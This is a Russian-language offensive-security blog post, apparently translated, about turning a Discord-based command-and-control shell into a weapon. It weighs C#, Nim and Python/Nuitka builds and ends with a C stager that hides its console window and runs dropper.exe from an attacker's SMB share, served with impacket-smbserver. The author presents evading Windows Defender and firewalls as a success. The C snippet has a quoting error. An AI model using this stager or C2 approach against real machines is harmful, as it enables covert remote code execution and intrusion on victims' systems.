Использование Discord Shell в качестве оружия через SMB

Dec 04 2022
В предыдущем блоге/видео (https://medium.com/@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd/https://youtu.

В предыдущем блоге/видео (https:///@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd/https://youtu.be/LnXOtHhCx08) мы обсудили, как использовать Discord для выполнения удаленных команд. На этот раз мы рассмотрим упомянутые ограничения.

Если вы предпочитаете смотреть видео, а не читать, добро пожаловать на мой канал:https://youtu.be/Bocf7xM7XWQ

Несмотря на то, что результаты были хорошими (обход защитника Windows, обход ограничений брандмауэра путем отправки/получения команд по доверенному и зашифрованному каналу), нам пришлось иметь дело с чрезвычайно огромным размером файла (40+ МБ), а также сокрытием процесса и графического интерфейса. .

У меня было несколько идей, которые я сейчас разберу, в конце концов, у каждой идеи есть место для провала. Не могу сказать, что разработал стабильную оболочку, но что-то вроде заработало. Давайте начнем!

Идея 1 — Создать бота Discord на C#

Проблема с python и nuitka заключалась в огромном размере файла, потому что nuitka нужно было скомпилировать и объединить каждую отдельно включенную библиотеку. Нестандартный фрагмент кода небольшой, весь бот содержал не более 40 строк кода. Несмотря на то, что бот работал отлично, опасно сбрасывать на цель исполняемый файл размером более 40 МБ.

Это заставило меня задуматься об альтернативных способах создания оболочки. Моей первоначальной идеей было создать бота с .net framework. Вы спросите, почему не .net core? Что ж, .net framework предустановлен на всех ПК с Windows, а это означает, что если я скомпилирую код в исполняемый файл, он будет выполнен без проблем. Если бы я собирал его на ядре .net, у меня было бы два варианта.

1. Отправьте все мои библиотеки DLL вместе с исполняемым файлом.

2. Скомпилируйте автономный PE.

Когда я углубился в библиотеку discord для C# (https://discordnet.dev/guides/introduction/intro.html) Я понял, что единственный вариант для меня - собрать его с ядром .net, так как .net framework оказался неподдерживаемым. После множества попыток заставить его работать под .net framework, я разозлился и решил попробовать другой подход.

Вы можете спросить сейчас, почему бы не пойти по пути 2? Ну, я пошел с этим, и я столкнулся с почти той же проблемой. Бинарный файл .net core был даже больше, чем nuitka.

Возможно, есть способ запустить его на .net framework, но требуются дополнительные исследования и время тестирования, я оставлю это на будущее! Идем дальше!

Идея 2 — Старый добрый Ним

Изучив, на каких языках я могу построить бота, я неожиданно наткнулся на Nim и его библиотеку Dimscord (https://github.com/krisppurg/dimscord). Я попробовал это с некоторой долей скептицизма, но оказалось, что бот работает нормально, а размер файла небольшой. Идеальный!

Как и все вещи, которые выглядят идеально, они таковыми не являются!

У Нима была одна общая проблема — поддержка SSL. Когда вы компилируете и используете бота на той же машине, он работает потрясающе. Как только вы перенесете это в ящик жертвы, вы увидите, что:

Да, вам нужно выполнить все ваши SSL DLL вместе с вашим исполняемым файлом. Не так идеально да? Конечно, было проведено много исследований о том, как это можно обойти, но мои надежды умерли, когда я увидел это:

https://github.com/nim-lang/Nim/issues/19099

Идем дальше!

Идея 3 — Поставить оригинальный бинарник от Nuitka

До сих пор это была моя лучшая идея такого рода работ. Я думаю, что лучше выполнить запрос SMB, чем сбрасывать на цель исполняемый файл размером более 40 МБ.

Идея здесь проста: разместить бинарный файл с помощью impacket-smbserver и создать простой C POC для его размещения! Давайте пройдемся по коду C:

#include <stdio.h>
#include <windows.h>

int main()
{
  HWND myWindow = GetConsoleWindow();
  ShowWindow(myWindow, SW_HIDE);
  system(\\\\IP\\shareName\\dropper.exe");
}

Следующая часть проста: запустите файл на удаленном ресурсе.

После размещения с помощью:

impacket-smbserver smb . -ts -debug -smb2support

Подведение итогов

Конечно, есть куда расти, но пока дела идут все лучше и лучше. В будущем мы можем попытаться скрыть сам стейджер или полностью изменить подход снова.

Надеюсь, это дает хорошую основу того, как вы можете мыслить нестандартно и находить хакерское решение проблемы.

Добро пожаловать на мой сервер в Discord (не беспокойтесь, там нет ботов C2), где мы делимся опытом и знаниями:https://discord.gg/dWCe5ZMvtQ

Кроме того, я был бы признателен за вашу поддержку, подписавшись на мой Youtube:https://www.youtube.com/c/Lsecqt, это очень много значит для меня!

Надеюсь, вам понравилось и вы узнали что-то новое!

Если вы хотите поддержать мою работу, вы можете сделать это кофе и биткойнами:

https://www.buymeacoffee.com/lsecqt

3HmYmnPKZuwZZktW9Q9HAP8Gk9EWTjc4TC